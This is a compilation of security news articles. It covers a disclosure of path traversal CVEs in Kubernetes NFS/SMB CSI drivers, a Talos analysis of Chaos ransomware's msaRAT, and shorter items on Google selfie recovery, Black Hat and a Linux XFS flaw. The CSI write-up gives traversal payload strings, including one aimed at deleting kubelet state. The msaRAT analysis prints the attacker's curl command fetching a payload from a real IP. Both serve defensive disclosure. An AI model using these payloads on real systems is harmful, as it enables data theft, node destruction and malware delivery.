Mount Here, Read There: Twin Path Traversal CVEs in Kubernetes Storage

filepath.Join was never designed to be a security boundary. We found two CSI drivers that shipped on the assumption it was, and the result was cross-tenant data access with optional node destruction, using nothing more than a valid Kubernetes manifest. The vulnerable drivers are the Kubernetes CSI Driver for NFS (csi-driver-nfs) and the Kubernetes CSI Driver for SMB (csi-driver-smb), both maintained by the upstream kubernetes-csi organization. An attacker who can create a PersistentVolume can craft a volume identifier that escapes the subdirectory boundary and reaches another tenant’s data on the shared export.

The impact varies by deployment. In the default configuration, an attacker can read, modify, and delete files belonging to other tenants sharing the same export. In production deployments where the CSI controller is configured with broader hostPath mounts (a common pattern for log collection and operational tooling), the same primitive enables arbitrary directory deletion on the Kubernetes worker node, including paths like /var/lib/kubelet, /etc/kubernetes, and /etc/cni. Remove those and the node is dead.

The Kubernetes Security Response Committee published advisories and assigned CVE-2026-3864 to the NFS driver issue and CVE-2026-3865 to the SMB driver issue.Fixes shipped in csi-driver-nfs v4.13.1 and csi-driver-smb v1.20.1. We reported both vulnerabilities in January 2026 and worked with the maintainers through coordinated disclosure.

Kubernetes Storage Concepts

First, some background on how Kubernetes does storage. This section covers the four building blocks an attacker manipulates in this attack chain.

Container Storage Interface

Kubernetes does not implement storage directly. It delegates that responsibility to the Container Storage Interface, a gRPC contract between the Kubernetes kubelet and a vendor-supplied driver.

Figure 1. The CSI specification sits between Kubernetes and the underlying storage drivers, with each layer owned by a different party.

When a workload requests storage, Kubernetes issues calls such as CreateVolume, NodePublishVolume, and DeleteVolume to the CSI driver, which in turn provisions, mounts, and tears down the actual storage on the underlying system, whether that system is an NFS export, an SMB share, an Amazon Elastic File System filesystem, a block device, or anything else.

Figure 2. The CSI driver mediates between Kubernetes pods and the underlying storage backend.

The CSI specification is intentionally minimal about what drivers must validate. It specifies the gRPC interface and the lifecycle but leaves input validation, authorization, and isolation to each driver implementation. This design decision is the underlying reason the same class of bug recurs across multiple drivers.

PersistentVolume and the volumeHandle

A PersistentVolume is a Kubernetes API object that represents a unit of storage in the cluster. When a PersistentVolume references a CSI driver, it carries a string field called volumeHandle. This field is opaque to Kubernetes: the API server stores it but does not parse, validate, or interpret it. The driver alone is responsible for understanding the format of volumeHandle and using its contents safely.

Each driver defines its own format. The NFS CSI driver parses volumeHandle as {server}#{share}#{subDir}#{uuid}#{onDelete}

The SMB CSI driver parses it as //{server}/{share}#{subDir}#{uuid}#{secretNs}#{secretName}#{pvName}

In both drivers, the subDir component is the security boundary. It’s also the one that breaks.

Subdirectory-Based Multi-Tenancy

Some clusters share a single NFS or SMB export across tenants by giving each one a dedicated subdirectory. Both drivers’ deployment guides document this pattern. It’s common wherever provisioning a separate export per tenant is expensive: on-premises NAS appliances, cloud file services that bill per share, shared storage systems that are slow to reconfigure.

In this model, the security boundary between tenants is the subdirectory path. Team A’s PersistentVolume is scoped to subDir: team-a. Team B’s is scoped to subDir: team-b. The driver mounts each tenant into their own directory, and the assumption is that neither tenant can reach the other’s data, even though both share the same underlying export.

Role-Based Access Control and PersistentVolume Authorization

Kubernetes uses RBAC to control who does what. Creating a PersistentVolume (PV) is cluster-scoped, and the documented threat model assumes only cluster admins hold this permission. In practice? It’s everywhere. CI/CD pipelines, ArgoCD, Helm automation, operator controllers. They all need persistentvolumes:create to provision storage for applications. Compromise any of those service accounts and you’re in.

That gap between the documented threat model and how clusters actually run is what makes these bugs practically exploitable.

Trusting the Wrong Function

There’s a misconception in the Go ecosystem that keeps burning people: the idea that filepath.Join prevents path traversal. It doesn’t. filepath.Join is a normalizer. It collapses ., .., and redundant separators into a canonical form. It has no concept of “base directory” or “boundary” and can’t tell whether the result landed somewhere the caller never intended.

Try it yourself: give it “/var/lib/csi/team-a” and “../../../etc/passwd“. You get /etc/passwd. Clean path, totally canonical, pointing straight at a location outside the intended base directory. The function did what it was designed to do. It just didn’t do what the caller assumed. A safe-path function would take the base directory as a parameter and refuse to return anything outside it. A safe option exists in Go, but these drivers never adopted it. The community workaround is filepath-securejoin, which does the symlink-aware join and returns an error instead of letting you escape.

Both vulnerable drivers shipped this misconception. They pulled the subdirectory string out of volumeHandle, passed it through filepath.Join, and trusted the result.

CVE-2026-3864 — Kubernetes CSI Driver for NFS

We found the bug in the controller-server implementation of csi-driver-nfs. The driver parsed the volume identifier into its parts, pulled out the subdirectory string, and built an internal mount path by joining that subdirectory to a per-volume working directory.

Figure 3 (NFS code): The NFS CSI driver extracts subDir from the volume ID and passes it to filepath.Join without validation, then calls os.RemoveAll on the result.

Three things matter here. No validation on subDir between extraction and use. filepath.Join won’t refuse a result that escapes its working directory. And the resulting path gets handed to os.RemoveAll. That last part is key: this isn’t just a read primitive. It deletes.

The exploit is a one-line modification to a PersistentVolume manifest:

Figure 4 (Exploit YAML): A malicious PersistentVolume manifest. The subDir component team-a/../../team-b escapes the legitimate tenant directory.

When a pod mounts this PersistentVolume, the path that actually gets bound is 10.0.0.50:/exports/team-b. Not team-a. The attacker’s pod now sees team B’s files, can read them, modify them, and (if the reclaim policy is set to delete) trigger their recursive removal when the PersistentVolumeClaim (PVC) is deleted.

In production deployments where the CSI controller has been granted broader hostPath mounts of the worker node (common in clusters that integrate the controller with kubelet log collection or other operational tooling), the traversal can reach beyond the export and into the host filesystem itself. A volumeHandle containing the subdirectory string ../../../../../../var/lib/kubelet provides the controller with a recursive-delete primitive against the kubelet’s own state directory, rendering the node permanently non-functional.

Two things make this harder to fix than it looks. First, NFS servers from major vendors expose hidden .snapshot directories. Point-in-time copies, invisible to ls but reachable by path. A subdirectory of team-a/../.snapshot mounts the snapshot tree and surfaces data that admins thought was gone. Second, even after the driver patch, an attacker with write access inside their own tenant directory can plant symlinks that cross the tenant boundary through the NFS data plane. The control-plane fix is necessary but not sufficient. Data-plane mitigations require mounting with nosymfollow (Linux 5.10+) or enabling subtree_check on the export.

CVE-2026-3865 — Kubernetes CSI Driver for SMB

The SMB CSI driver is maintained by the same upstream organization and follows the same architectural shape. It contained the same vulnerability:

Figure 5 (SMB code): The SMB CSI driver follows the same pattern as NFS: subDir extracted at index 1, joined without validation.

The exploit is structurally identical. The volumeHandle for SMB is //{server}/{share}#{subDir}#…, and a payload of //smb.internal/shared#dept-engineering/../../dept-finance#uuid causes the same escape into a sibling tenant’s directory.

Honestly, the recurrence is the more interesting finding than either CVE on its own. Same org, same misconception, years apart. When a standard-library function looks like a sanitizer but only normalizes, people keep reaching for it. Every codebase that did has to be audited now. Every callsite patched.

One note for other researchers on this bug class. The Kubernetes triage team initially could not reproduce the SMB report because their reproduction harness ran the proof-of-concept against an SMB-server pod inside the cluster, and SMB exports are sandboxed by the underlying storage system. The vulnerability is in the CSI controller’s internal file operations on its working-mount directory, not in protocol traffic to the SMB server. Researchers reporting CSI path traversal should lead with a host-mount reproducer and only attach protocol-level demonstrations as supplementary material. This pattern recurs because the server-side of NFS and SMB is usually well-defended by the storage vendor, while the driver-side code path between the Kubernetes API and the host filesystem is where the bug actually lives.

Multi-Tenant Storage as Attack Surface

These two CVEs are instances of something bigger. Kubernetes storage drivers sit on a trust boundary that the CSI spec doesn’t enforce. Nobody validates volumeHandle. The kubelet assumes the driver does it. The driver assumes whoever wrote the PV knew what they were doing. That was probably a CI/CD pipeline that assumed the API server would catch anything dangerous. The API server treats the field as opaque. So nobody checks. The string just flows through.

This isn’t just NFS and SMB. There are dozens of CSI drivers in production, each with its own volumeHandle format, each parsing user input with varying degrees of care, each forwarding strings into mount commands and host file operations. We haven’t audited all of them. But the pattern is there.

The bigger question is where input validation should live. The driver? Implemented inconsistently. The API server? Treats volumeHandle as opaque. An admission controller? Only works if someone remembers to deploy one. The CSI spec? Mandates none of the above. Until one of these layers owns the boundary, this bug class will keep producing CVEs.

The Full Chain — From PersistentVolume-Create to Cross-Tenant Compromise

The full attack chain:

Prerequisite: the attacker holds persistentvolumes:create (typically a CI/CD pipeline, GitOps controller, or operator service account) and identifies the cluster as using the NFS or SMB CSI driver with shared multi-tenant exports.

1. Craft a PersistentVolume whose volumeHandle contains a traversal payload in the subdirectory component.
2. Create a PersistentVolumeClaim bound to the malicious PV. The scheduler treats it as normal.
3. Schedule a pod mounting the claim. The CSI driver parses the malicious volumeHandle, joins the traversal string against its working directory, and mounts the victim tenant’s directory.
4. Read, modify, or delete the victim’s files. With onDelete=delete, deleting the PVC triggers recursive deletion.
5. (Optional) If the CSI controller has broader hostPath mounts, traverse into the host filesystem and destroy node-critical paths like /var/lib/kubelet.

The entire chain executes against the Kubernetes API server using only the persistentvolumes:create permission. No exploit code. Just YAML.

Fixes and Mitigations

The Kubernetes Security Response Committee released fixes for both vulnerabilities. The NFS driver fix shipped in csi-driver-nfs v4.13.1 and rejects subdirectory strings containing .. components outright. The SMB driver fix shipped in csi-driver-smb v1.20.1 and applies the same validation pattern.

Beyond the upstream patches, cluster operators have several additional mitigations that should be applied as defense-in-depth:

• Restrict persistentvolumes:create authorization. Audit which service accounts in the cluster currently hold this permission. CI/CD pipelines, GitOps controllers, and operator service accounts should be reviewed, and the permission should be scoped down or wrapped behind admission-controller approval for any account that is not strictly an administrative identity.

• Deploy admission-time validation. A ValidatingAdmissionPolicy (in Kubernetes 1.30 and later) or a ValidatingWebhookConfiguration (in earlier versions) can reject any PersistentVolume whose spec.csi.volumeHandle field contains .. or other suspicious patterns. This control survives any future zero-day in the same class. The next CSI driver to ship the same misconception is automatically defended.

• Address the data-plane symlink amplification. The driver patches don’t cover the symlink variant. A tenant with write access to their own directory can still plant a relative symlink that crosses into someone else’s. Mount NFS exports with the nosymfollow option (Linux 5.10 and later) where supported, enable subtree_check on the NFS server export configuration, or audit symlink targets on the storage server.

• Treat the bug class as recurring. The pattern of filepath.Join on attacker-controlled input is present in many storage drivers, container network interface plugins, operators, and webhook servers throughout the cloud-native ecosystem. Any Go code that takes an untrusted string and joins it to a path should be audited and converted to use either strict validation or the filepath-securejoin library.

Conclusion

Path traversal is one of the oldest bug classes in computing. The fact that it keeps showing up in 2026, in actively maintained infrastructure running multi-tenant production clusters, says something. The safe path-handling already exists, but these drivers kept trusting filepath.Join instead of using it.

The CSI specification doesn’t mandate input validation on volume identifiers. Individual drivers implement it inconsistently, or not at all. The protocols underneath (NFS and SMB here, but the pattern generalizes) were designed for trusted networks decades before multi-tenant container orchestration existed. Until one of these layers takes ownership of the boundary, the same misunderstanding will keep shipping.

For defenders: patch the drivers, restrict who can create PersistentVolumes, deploy admission-time validation, and treat any .. sequence in a volumeHandle as a credible alert. Validators reject. Normalizers don’t. Know which one you’re using.

Disclosure Timeline

• January 15, 2026 — Vulnerabilities identified during CSI driver code review by SentinelOne Researchers.
• January 16, 2026 — NFS and SMB reports submitted to the Kubernetes SecurityResponse Committee.
• January 19, 2026 — NFS report triaged after proof-of-concept harness was clarified.
• January 19, 2026 — SMB report triaged.
• March 9, 2026 — NFS driver fix released in csi-driver-nfs v4.13.1.
• March 17, 2026 — Public disclosure of the NFS finding; CVE-2026-3864 assigned.
• March 21, 2026 — SMB driver fix released in csi-driver-smb v1.20.1.
• April 11, 2026 — Public disclosure of the SMB finding; CVE-2026-3865 assigned.

Additional Resources

• CVE-2026-3864 — Kubernetes NFS CSI Driver path traversal (Kubernetes Security Advisory)
• CVE-2026-3865 — Kubernetes SMB CSI Driver path traversal (Kubernetes Security Advisory)
• filepath-securejoin — Secure path-joining library for Go

from SentinelOne https://ift.tt/rLhtcV2
via IFTTT

Google Adds Selfie Video Recovery for Users Locked Out of Their Accounts

Google on Thursday announced a new way for users to sign-in to their accounts by letting them take a selfie video.

The selfie for sign-in, per the tech giant, is another option on top of existing recovery methods to log in to an account, including an email address or a phone number. The idea is to use a video selfie as a way to regain access if a user ever gets locked out or doesn't have access to their usual phone or computer.

As part of the process, users are required to set up a selfie video by just looking into the device's camera and completing a "few short, guided head movements" to capture their face from different angles.

Should users have any trouble signing in to their accounts with the selfie method at a later stage, they can just take another selfie to sign back in. "Selfie video compares the new video to the one you set up to confirm it is really you and help you get back into your account," Google said in a blog post shared with The Hacker News.

The tech giant also emphasized that the feature is entirely opt-in and users are in full control of the feature, adding it can be deleted from the account at any time.

According to a help document, the feature is designed with three key purposes -

• Help users back into their account if they can't sign in.
• Unlock more features or services, when prompted, by verifying a user is a real person and they haven't violated Google's policies.
• Allow users to create an avatar to create AI content that looks and sounds like themselves.

That said, the selfie video for sign-in option is not available for Google Workspace accounts, Child accounts, and Google Accounts enrolled in the Advanced Protection Program.

"You can't add a selfie video while you're locked out of your account or in the account recovery process," Google also noted.

In the event a user is unable to sign in to their account, they may be prompted to record a short video of their face to confirm the account belongs to them. The newly captured video is then compared to the selfie video added by the user to their account. If the faces match, their identity will be verified and allow them to recover access to the account.

"The selfie video you saved on your Google Account will be matched against the selfie video you take to sign in to your account," Google cautions. "If there are significant changes to your facial appearance, update the selfie video you've saved on your account."

Besides storing the selfie video in encrypted format at rest, it's used only for the purpose of helping users log in to their accounts, unless they opt to share for other use cases. The data can "help ongoing efforts to develop and improve facial recognition, age estimation, and other verification methods that may use your physical features or movement," per Google.

Users can change this setting at any time by following the steps below -

• In the Google Account, go to the Selfie video page (myaccount.google[.]com/video-verification)
• Turn Improve Google services (optional) on or off

The disclosure comes as Google Cloud Fraud Defense has announced a new hand gesture verification system that asks users to perform simple hand gestures through their device camera to complete reCAPTCHA checks, marking a departure from traditional image-based challenges to tackle automated bot traffic.

The liveness detection technology prompts users to make basic hand movements while their camera is turned on with an aim to extract hand landmark data. This includes 21 hand-knuckle coordinates.

"The videos are never associated with a user's identity and are deleted after the verification process," the company said. "Google does not retain any images or videos of a user's hand gestures beyond the verification process or use the data for any other purpose."

from The Hacker News https://ift.tt/oQc5b21
via IFTTT

Chaos ransomware's msaRAT: Living off the browser to build a covert C2 channel

• Cisco Talos has discovered a new Rust-based remote access trojan (RAT) we call “msaRAT” attributed to the Chaos ransomware group. The name is derived from the binding names found in the binary: “msaOpen,” “msaClose,” “msaError,” and “msaMessage”.
• msaRAT is implemented using the Tokio asynchronous runtime, with primary capabilities of browser-leveraged remote code execution and covert tunneling to establish command-and-control (C2) communications.
• This RAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol (CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint, but it never makes HTTP connections to that domain itself; it offloads that work entirely to the browser.
• msaRAT manipulates the browser via CDP, performs signaling (SDP Offer/Answer exchange) with Cloudflare Workers, and establishes a WebRTC DataChannel between the browser and the C2 server using Twilio TURN (Traversal Using Relays around NAT) as a relay.

---

Overview of Chaos ransomware

Chaos is a ransomware-as-a-service (RaaS) group whose activity was first confirmed in February 2025. Although the number of listings on their data leak site remains relatively low, the group consistently targets large organizations and employs double extortion tactics. For initial access, they rely on spam emails and voice-based social engineering, commonly known as vishing. Once inside a network, their traditional post-compromise methodology involves abusing remote monitoring and management (RMM) tools to establish persistent access, while leveraging legitimate file-sharing software to exfiltrate data. For a detailed breakdown of their tactics, techniques, and procedures (TTPs), please refer to our previous blog.

Figure 1. Chaos ransomware leak site.

Infection chain

Talos has identified a new Rust-based RAT used by the Chaos ransomware group, which we have named msaRAT. The name is derived from the binding names found in the binary (“msaOpen,” “msaClose,” “msaError,” “msaMessage”), as detailed in a later section. Figure 2 illustrates the end-to-end infection chain, from initial compromise through to the establishment of C2 communications via this RAT.

Figure 2. Infection chain.

After gaining access to a victim machine but prior to executing the ransomware, the attacker runs the following curl command to download an MSI file named “update_ms.msi” from an attacker-controlled server to the ProgramData directory on the victim machine, then executes it. Although port 443 is specified, the communication occurs over plain HTTP. In environments where firewall rules permit traffic based solely on port number without protocol inspection, this traffic will pass through undetected.

curl.exe http://172.86.126.18:443/update_ms.msi -o C:\programdata\update_ms.msi

The property information of this installer, which extracts the DLL file containing the RAT payload, contains details configured to impersonate a Windows update.

Figure 3. Properties of “update_ms.msi”

When this MSI file is executed, the custom action CA_Run_EA2AEBC3 is triggered upon completion of InstallFinalize. This custom action loads lib.dll, embedded in the MSI file's Binary table as Bin_lib_EA2AEBC3, directly into memory.

Figure 4. Structure of the MSI file.

lib.dll (msaRAT)

msaRAT is written in Rust and implemented using the asynchronous runtime Tokio. Its primary capabilities include browser-leveraged reverse shell and covert tunneling to establish communications with a C2 server. The export table of “lib.dll” exposes a function named RUN, which is designed to be called by the installer described above. Based on the actual logs, after downloading this malware, we have confirmed the existence of a ransom note.

Tokio runtime initialization

Tokio is a runtime for executing asynchronous operations in Rust. While Rust's async/await provides the syntax for writing asynchronous code, it cannot execute on its own — a runtime like Tokio is responsible for scheduling and running asynchronous tasks.

As the first step within the RUN function, the malware initializes Tokio to enable asynchronous processing. Multiple strings statically embedded in the binary — including TOKIO_WORKER_THREADS and the number of hardware threads is not known for the target platform — match source code from both Tokio and the Rust standard library, confirming this initialization behavior.

During initialization, the malware determines the number of worker threads for parallel execution. It first reads the TOKIO_WORKER_THREADS environment variable. If the variable is not set or is empty, it calls the Windows API GetSystemInfo to retrieve the CPU count and uses that value to set the worker thread count. If dwNumberOfProcessors written by GetSystemInfo returns 0, the worker count is set to 1. Once the initial values are configured, the Tokio runtime is started, and OS threads equal to the number of workers are created and launched via the CreateThread API.

By leveraging Tokio, this RAT can concurrently execute multiple operations — such as receiving frames from the C2, sending CDP commands to the browser, and processing key exchanges — without any operation blocking another. For example, even while an ECDH key exchange is in progress, the reception and processing of other frames continues uninterrupted.

Figure 5. Reading the TOKIO_WORKER_THREADS environment variable and determining the worker thread count.

Hijacking the browser

Locating the Chrome or Edge installation path

After launching the Tokio runtime, msaRAT attempts to manipulate the browser. As the first step toward that goal, it searches for the installation path of Chrome or Edge on the victim machine.

1. Path Discovery via Environment Variables

The malware attempts the following combinations in priority order, checking whether the file exists at each path.

Table 1. Browser search targets and priority order.

Figure 6. Chrome and Edge path discovery (pseudocode).

2. Path Discovery via registry

If no path is found through environment variables, the malware falls back to searching for Chrome exclusively via the registry.

Figure 7. Locating Chrome via registry values

If no matching browser is found, the Chrome DevTools Protocol (CDP) manipulation described later will not be executed.

Launching the browser in headless mode

Upon successfully obtaining the browser path, the malware launches Chrome or Edge in headless mode via the CreateProcessW API. At launch, multiple flags listed in Table 2 are applied, enabling the CDP remote debugging port.

Table 2. List of flags applied at browser launch.

Figure 8. HTTP GET request to “/json/list/”.

In response to this request, the browser returns a JSON array containing information about connectable targets (such as tabs). Each element in the response includes a webSocketDebuggerUrl field, and a CDP session is established by connecting to that URL via WebSocket. Over the established session, a Target.createTarget command is sent to create a new tab, followed by Page.enable and Runtime.enable to activate the JavaScript execution environment.

Inject JavaScript code

After establishing a CDP session over WebSocket, the malware first bypasses Content Security Policy (CSP) using the Page.setBypassCSP command. As shown in Figure 9, the command is referenced from the string blob via pointer and length, then issued as a CDP command.

Figure 9. Issuing CDP commands.

Immediately after bypassing CSP with Page.setBypassCSP, the RAT issues Runtime.addBinding five consecutive times. Runtime.addBinding is a CDP feature that registers callbacks to notify both the browser's JavaScript and the CDP client (the RAT) of events. The binding names to be registered are stored in the string table within the binary. Through a loop, the names “msaOpen,” “msaClose,” “msaError,” “msaMessage,” and “dataAck” are referenced in order, and each entry is sent as a CDP command one at a time.

Figure 10. String table containing the binding names.

After registering each binding name, the RAT uses Runtime.evaluate — a CDP feature for executing JavaScript in the browser — to inject JavaScript code embedded in the .rdata section into the browser. The injected code is embedded in plaintext and consists of two functions.

Figure 11. JavaScript code embedded in the RAT binary (partial excerpt).

The first function initializes the WebRTC channel. It is injected only once, at the time of the initial connection. This function establishes the foundation for communications with the C2. The following sections describe the processing performed by this JavaScript code.

WebRTC DataChannel establishment (using Cloudflare Workers for signaling) and data transfer

1. Retrieving Session Traversal Utilities for NAT (STUN) and Traversal Using Relays around NAT (TURN) server information

First, a GET request is sent to Cloudflare Workers (“is-01-ast[.]ols-img-12[.]workers[.]dev”) to retrieve the STUN/TURN server configuration required for WebRTC connection as JSON. If this fails, window.msaError() notifies the RAT and terminates.

Figure 12. Retrieving STUN/TURN server information.

Figure 13 shows the GET request and response between the browser and the server hosted on Cloudflare Workers infrastructure. Since the browser is launched in headless mode, the User-Agent is identified as HeadlessChrome. As for the Origin and Referer headers, the request is disguised as originating from Microsoft's official website in order to evade detection.

Figure 13. GET /token/v1/{UID} request (excerpt).

 The response body, as shown in Figure 14, returns WebRTC ICE server configuration containing STUN/TURN server information. The STUN server (“stun2.l.google.com”) is used to discover the external IP address of the infected host in order to traverse NAT, while the TURN server (“global.turn.twilio.com”) acts as a relay point when a direct Peer-to-Peer (P2P) connection cannot be established.

Figure 14. Response body of GET /token/v1/{UID} request (excerpt).

2. Creating the WebRTC PeerConnection and DataChannel

Using the retrieved server information, an RTCPeerConnection is created. The DataChannel name is assigned a random alphanumeric string of 5 to 20 characters generated by genStr(5, 20).

Figure 15. Creating the WebRTC PeerConnection and DataChannel.

3. Connecting events to bindings

The callbacks previously registered via Runtime.addBinding are bound to their respective WebRTC events. When data is received from the C2 (onmessage), the binary data is converted to Base64 and passed to the RAT via window.msaMessage().

Figure 16. Binding each event to its corresponding callback.

4. Interactive Connectivity Establishment (ICE) candidate gathering and SDP negotiation

For WebRTC communication to occur, both parties must first agree on which address to connect to and which format to use for communication. To that end, the malware generates a WebRTC SDP Offer (containing the communication parameters) and gathers ICE candidates to determine the optimal connection path. Once gathering is complete, the SDP Offer is POSTed to the C2 server, which returns an SDP Answer. Applying the C2 server's SDP via setRemoteDescription establishes the WebRTC DataChannnel connection. If ICE candidate gathering does not complete within five seconds, a timeout is triggered and it forcibly executes.

Figure 17. ICE candidate gathering and SDP negotiation.

Figures 18 and 19 show the actual POST /token/v1/{UID} request and response. The response contains the attacker's SDP Answer, which includes no ICE candidates, with the connection address set to “0.0.0.0”. By intentionally omitting the ICE candidates that are normally present in standard WebRTC communications, P2P connections are prevented from being established, resulting in a design where all communications are always routed through TURN. By routing traffic through Twilio's legitimate service, the real IP address of the attacker's server never appears in the network traffic, and the dual-layer infrastructure combining Twilio with Cloudflare Workers makes it significantly difficult to trace the attacker's infrastructure.

Figure 18. POST /token/v1/{UID} request (excerpt).

Figure 19. Response to POST /token/v1/{UID} request (excerpt).

5. Data conversion helper and random string generation

When sending data from the RAT to the browser, the CDP Runtime.evaluate can only pass strings. However, the actual data transmitted over the WebRTC DataChannel is binary data (ArrayBuffer). The function Base64ToArrayBuffer is responsible for handling this conversion.

Figure 20. Data conversion helper.

6. Send queue and flow control

The WebRTC DataChannel has a send buffer, and continuously sending data can result in new data being dropped. To address this issue, the attacker has implemented a queue and flow control mechanism. Data is dequeued and sent when the buffer drops below 24KB. This design is likely intended to ensure reliable delivery of large payloads such as screenshots or file transfers to the C2.

Figure 21. Send queue and flow control.

The second function is dedicated to data transmission and is injected on demand via Runtime.evaluate each time the RAT sends a command to the C2 through the browser. The actual payload is embedded in place of {base64}.

Figure 22. Function used for data transmission to the C2.

After the RAT injects JavaScript via Runtime.evaluate, control of the main processing shifts to the browser. The RAT enters a waiting loop monitoring the CDP WebSocket, continuously listening for events from the browser. The establishment and disconnection of the WebRTC connection, as well as data reception, are all handled by JavaScript running within the browser. To relay the results of this processing back to the RAT, the registered bindings such as window.msaOpen() and window.msaMessage(base64Data) are called. Each time a binding is called, CDP emits a Runtime.bindingCalled event to the RAT over WebSocket. The JSON format of this event is as follows:

Figure 23. JSON format of Runtime.bindingCalled (example).

The params object contains two fields: name (a string indicating which binding was called) and payload (the argument passed from JavaScript). Based on the value of the name field, the RAT switches its subsequent behavior accordingly.

Table 3. Values of the name field and corresponding RAT behavior.

Communication encryption

By specification, the WebRTC DataChannel communication path is automatically protected by DTLS (transport-layer encryption), which is handled entirely by the browser and is independent of the RAT's code. Separately, msaRAT encrypts the data itself using a ChaCha-Poly1305-based encryption scheme before passing it to the browser, resulting in double-layer encryption. This design ensures that even if DTLS is stripped, an adversary-in-the-middle cannot read the contents. The ChaCha-Poly1305-based encryption key is derived through an ECDH key exchange performed at the time the C2 connection is established. When a Handshake frame (0xFE) is received from the C2 immediately after connection, the RAT receives the C2 server's public key, generates its own key pair, derives a shared key and then sends its own public key back to the C2.

Figure 24. ChaCha-Poly1305-based encryption processing (partial excerpt).

C2 command processing

While a simple implementation would receive a command number and invoke the corresponding handler, this RAT employs a two-layer structure: an outer layer that manages connection state and an inner layer that processes frames. These are shown in Tables 4 and 5.

Table 4. Outer switch: Connection state management.

Table 5. Frame processing list.

C2 communication flow

Figure 25 illustrates the communication flow between msaRAT, Cloudflare Workers, Twilio TURN, and the C2 server.

Figure 25. Communication flow among msaRAT, Cloudflare Workers, Twilio TURN, and the C2.

msaRAT never touches the network directly — it controls its C2 communication channel exclusively through Chrome DevTools Protocol CDP), a browser debugging API. The binary contains a Cloudflare Workers endpoint (“is-01-ast[.]ols-img-12[.]workers[.]dev”), but rather than making HTTP connections to this domain itself, it offloads that entirely to the browser. This endpoint is dedicated solely to signaling relay (SDP Offer/Answer exchange) for establishing a WebRTC connection; once the WebRTC connection is established, Cloudflare Workers drops out of the communication path entirely. All subsequent C2 commands are exchanged exclusively over the WebRTC DataChannel.

The likely rationale for choosing Cloudflare Workers as the signaling relay is that the destination is Cloudflare's infrastructure rather than an attacker-owned server, meaning the destination IP addresses fall within Cloudflare's CDN ranges and will pass through many firewall and proxy allowlists without inspection. Furthermore, “*.workers.dev” is a platform domain provided by Cloudflare for developers, and blocking it would broadly impact legitimate Cloudflare Workers deployments making it structurally difficult for defenders to block. In addition, as we mentioned, communications are double-encrypted.

As a result of this design, all network communication from the RAT process itself is limited to “127.0.0[.]1”, and all external communications are observed as originating from a legitimate browser process. Since browser-based WebRTC communication is commonplace even in enterprise environments, C2 traffic is effectively buried within normal web traffic from the perspective of firewalls and network monitoring tools.

Coverage

The following ClamAV signatures detect and block this threat:

• Win.Downloader.ChaosRaas-10060321-0

The following SNORT® rules (SIDs) detect and block this threat: 

• Snort 2: 1:66840, 1:66841, 1:66839
• Snort 3: 1:301587, 1:66839

Indicators of compromise (IoCs)

The IOCs can also be found in our GitHub repository here.

from Cisco Talos Blog https://ift.tt/D5cesmA
via IFTTT

Preview: Cisco Talos at Black Hat USA 2026

We’re looking forward to having some great conversations with those of you heading to the desert for Hacker Summer Camp 2026. We have a presence within the Cisco and Splunk booth (2633) during Black Hat where you can chat to us about our latest threat research, incident response, and how Talos powers the Cisco portfolio with our intelligence.

Or, feel free to pretend to want to talk to us about those things while grabbing a new multicolored Snorty. That’s fine, too.

Here’s some of the ways we’ll be showing up at Black Hat, alongside our friends at Cisco and Splunk: 

Meet the researchers: Booth lightning talks 

Our Talosians have spent a lot of time over the last few months putting together some truly... well, enlightening lightning talks. Throughout Wednesday and Thursday at Black Hat, you can expect to see such topics as:

• Threat actor prompting and the emerging ways adversaries are using prompts, agents, skills, and tools to improve efficiency
• Warlock ransomware, and why this group does not fit neatly into a simple RaaS or state-linked label.
• Zero trust for agent identity
• Building a "second brain" for your second brain
• Predicting cybersecurity fraud
• Vulnerability discovery trends
• ... and much more

Lightning talks are 15 minutes. That’s less than 9% of The Odyssey. Don’t worry, we cut the bit where everyone gets turned into Snorty pigs.

Main Stage keynote: Security at agentic scale

Date/Time: Wednesday, August 5 | 11:30 a.m. – 12:00 p.m. (Main Stage, Business Hall)

Cisco's David Dalling and Rick Miles will be giving a Main Stage keynote all about protecting the enterprise in the age of AI agents.

As AI agents become increasingly capable (and increasingly privileged) inside enterprise environments, organizations face an entirely new set of security challenges. Drawing on research from across Cisco, the talk will explore what it takes to secure organizations as autonomous systems become part of everyday business operations.

Talos workshop: When AI finds vulnerabilities faster than humans can patch 

Date/Time: Wednesday, August 5 | 1:30 p.m. – 3:00 p.m. (Oceanside E, Level 2)

If you're looking for something hands-on and interactive, don't miss our workshop with Talos’ Nick Biasini and Cisco’s Omar Santos. In two parts, they’ll demonstrate practical ways security teams can incorporate AI into SOC workflows to identify sophisticated adversary behavior.

In Part 1, Omar will discuss the Foundry Security Spec. He’ll walk through how to deploy, build testing harnesses around its core agent roles, and integrate Project CodeGuard so that findings from autonomous testing can be converted into reusable secure-coding rules and future prevention. 

In Part 2, Nick will demonstrate how Talos leverages AI to transform threat hunting. We will explore best practices for identifying adversarial AI tactics and provide attendees with insights into how Cisco Talos is leveraging AI for defense. Participants will learn how to integrate these defensive AI strategies into their own SOC workflows.  

Splunk workshop: When agents become insider threats 

Date/Time: Wednesday, August 5 | 10:15 a.m. – 11:00 a.m. (Mandalay Bay I)

The Splunk workshop considers the fact that the next insider threat may not be a person; it may be an autonomous agent using valid credentials and delegated authority. 

Attendees will see real-world attack paths in which agents move sensitive data across tools, distribute brute-force attempts under a single delegation, and manipulate internal systems without triggering traditional SIEM or UEBA alerts. 

It was Talos all along

One of the questions we hear often is: "How do I buy Talos?"

The answer… is that you probably already did.

Throughout the Cisco booth you'll see our “It was Talos all along” campaign, highlighting the fact that Talos isn't a standalone product or a threat intelligence feed you bolt onto your security stack. Talos is already embedded across the Cisco security portfolio, which continually benefits from our threat research and intelligence.

To build your curiosity, take a look at our new video, “Where Protection Starts,” to see how Cisco Talos Intelligence Integrations help reduce uncertainty in the SOC:

See you in Las Vegas.

from Cisco Talos Blog https://ift.tt/MNBT16H
via IFTTT

Nine-Year-Old RefluXFS Linux Flaw Gives Local Users Root on Default RHEL Installs

RefluXFS, a new Linux kernel flaw disclosed on July 22 and tracked as CVE-2026-64600, lets an unprivileged local user overwrite root-owned files on an XFS filesystem and gain persistent root access.

Qualys said default installations of Red Hat Enterprise Linux and its derivatives, Fedora Server, and Amazon Linux can meet the conditions for exploitation.

The company demonstrated the race against /etc/passwd and setuid-root binaries. The overwrite lands at the block layer. It survives a reboot and leaves the target's ownership, permissions, timestamps, and setuid bit untouched, so a modified setuid-root binary still runs as root.

